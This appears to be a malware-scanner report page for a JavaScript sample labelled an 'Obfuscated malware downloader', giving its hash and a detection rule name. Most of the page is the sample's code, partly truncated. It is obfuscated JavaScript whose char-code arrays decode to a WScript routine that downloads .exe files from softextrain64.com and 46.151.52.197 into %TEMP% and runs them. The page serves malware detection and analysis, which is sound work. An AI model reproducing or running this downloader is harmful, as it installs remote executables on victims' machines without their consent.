Suspicious 80% javascript-malware-collection Download

20151209_3f37b65eda5b69a5f460fdaf42cbe945.js

Obfuscated malware downloader

parseInt toString radix remapObfuscated increment/decrement via arithmetic
SHA-256fa4c6ef03ed89d30db69a4bb40c3ee86af6ba9711d0d3fede6bf016e0c576167

Evidence

Obfuscated increment/decrement via arithmetic lines 2–12
2:1773… 25]='}';Ijffp[126]='~';Ijffp[127]='';
3function CEBQr(tIxozIbHrju,YSBjkWEzTYCcm,UvkecLUc){rhwY=parseInt(tIxozIbHrju,YSBjkWEzTYCcm);XbPJZ=rhwY.toString(UvkecLUc);return XbPJZ;}function WuIHQjgkkWRyhGI(cHCsVQQsWTTbCeguy){eval(cHCsVQQsWTTbCeguy)}
4function svMTNgXdaFJIRdzTcXPJiWxDdASFpjsxDLoaQAvzzjbdUjUfqjhZGZ(lnEMpLDNpIzIj,bwSCAzWVtYpRTX){ return Ijffp[CEBQr(lnEMpLDNpIzIj[bwSCAzWVtYpRTX],(-314+504)/19,(8236+54)/829)];}
5function WMXJPWo(gCTTaPDJNUudjqvyvMYVcvDneXsJvLfYkjph) {return !isNaN(parseFloat(gCTTaPDJNUudjqvyvMYVcvDneXsJvLfYkjph)) && isFinite(gCTTaPDJNUudjqvyvMYVcvDneXsJvLfYkjph);}
6function liXpoePFCKQ(vsmFsmkg,HzcYoN){return vsmFsmkg.split(HzcYoN)}
7var e=["13","10","13","10","118","97","114","32","101","32","61","32","34","115","111","102","116","101","120","116","114","97","105","110","54","52","46","99","111","109","47","56","54","46","101","120","101","63","32","52","54","46","49","53","49","46","53","50","46","49","57","55","47","56","54","46","101","120","101","63","32","63","32","63","34","46","115","112","108","105","116","40","34","32","34","41","59","13","10","118","97","114","32","81","75","116","32","61","40","40","49","47","42","88","84","78","108","52","49","56","55","55","50","53","57","54","110","54","51","53","51","56","117","77","51","53","52","49","57","51","101","79","105","90","42","47","41","63","34","87","83","99","114","105","34","58","34","34","41","43","34","112","116","46","83","104","101","108","108","34","59","13","10","118","97","114","32","107","116","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","81","75","116","41","59","13","10","118","97","114","32","100","107","32","61","32","34","37","84","69","77","80","37","92","92","34","59","13","10","118","97","114","32","117","106","66","32","61","32","107","116","46","69","120","112","97","110","100","69","110","118","105","114","111","110","109","101","110","116","83","116","114","105","110","103","115","40","100","107","41","59","13","10","118","97","114","32","72","70","85","32","61","32","34","50","46","88","77","76","72","34","59","13","10","118","97","114","32","82","88","82","32","61","32","72","70","85","32","43","32","34","84","84","80","34","59","13","10","118","97","114","32","81","84","32","61","32","116","114","117","101","32","32","44","32","76","109","112","65","32","61","32","34","65","68","79","68","34","59","13","10","118","97","114","32","80","114","32","61","32","87","83","99","114","105","112","116","46","67","114","101","97","116","101","79","98","106","101","99","116","40","34","77","83","34","43","34","88","77","76","34","43","4 …
8var M=["57","59","13","10","102","111","114","32","40","118","97","114","32","117","61","75","74","66","59","32","117","60","101","46","108","101","110","103","116","104","59","32","117","43","43","41","32","32","123","13","10","32","32","118","97","114","32","78","83","32","61","32","48","59","13","10","32","32","116","114","121","32","32","123","13","10","9","112","111","105","32","61","32","34","71","69","84","34","59","9","32","13","10","32","32","32","32","80","114","46","111","112","101","110","40","112","111","105","44","34","104","116","116","112","58","47","47","34","43","101","91","117","93","43","97","44","32","102","97","108","115","101","41","59","32","80","114","46","115","101","110","100","40","41","59","32","105","102","32","40","80","114","46","115","116","97","116","117","115","32","61","61","32","51","49","48","45","49","49","48","41","32","32","123","13","10","32","32","32","32","32","32","112","100","105","46","111","112","101","110","40","41","59","32","112","100","105","46","116","121","112","101","32","61","32","49","59","32","112","100","105","46","119","114","105","116","101","40","80","114","46","114","101","115","112","111","110","115","101","66","111","100","121","41","59","32","105","102","32","40","112","100","105","46","115","105","122","101","32","62","32","49","54","51","49","55","45","54","53","49","41","32","32","123","13","10","32","32","32","32","32","32","32","32","78","83","32","61","32","49","59","32","112","100","105","46","112","111","115","105","116","105","111","110","32","61","32","48","59","32","112","100","105","46","115","97","118","101","84","111","70","105","108","101","47","42","73","112","73","111","56","51","86","71","77","104","42","47","40","117","106","66","47","42","65","111","99","102","50","51","105","118","51","69","42","47","43","82","87","71","88","121","116","121","43","34","46","101","120","101","34","44","52","45","50","41","59","32","116","114","121","32","32","123","13","10","32","32","32","32","32" …
9var CJGNT=[e,M];
10var fTDAuAkaL=[];
11function DTTBpxtcbMSAQGpQW(CJGNT){BlrfCwTKPuW= '';for(YJfvkFFrooV=(-646+646)/837; YJfvkFFrooV < (320+112)/216; YJfvkFFrooV++) {fTDAuAkaL[YJfvkFFrooV]=(-714+714)/993; while(true) { if(fTDAuAkaL[YJfvkFFrooV] > CJGNT[YJfvkFFrooV].length-(-499+698)/199) { break; } if (WMXJPWo(CEBQr(CJGNT[YJfvkFFrooV][fTDAuAkaL[YJfvkFFrooV]],(984+916)/190,(466+864)/133))) {BlrfCwTKPuW += svMTNgXdaFJIRdzTcXPJiWxDdASFpjsxDLoaQAvzzjbdUjUfqjhZGZ([CJGNT[YJfvkFFrooV][fTDAuAkaL[YJfvkFFrooV]]], (-771+771)/180);} fTDAuAkaL[YJfvkFFrooV]++;}} return BlrfCwTKPuW}
12WuIHQjgkkWRyhGI(DTTBpxtcbMSAQGpQW(CJGNT));

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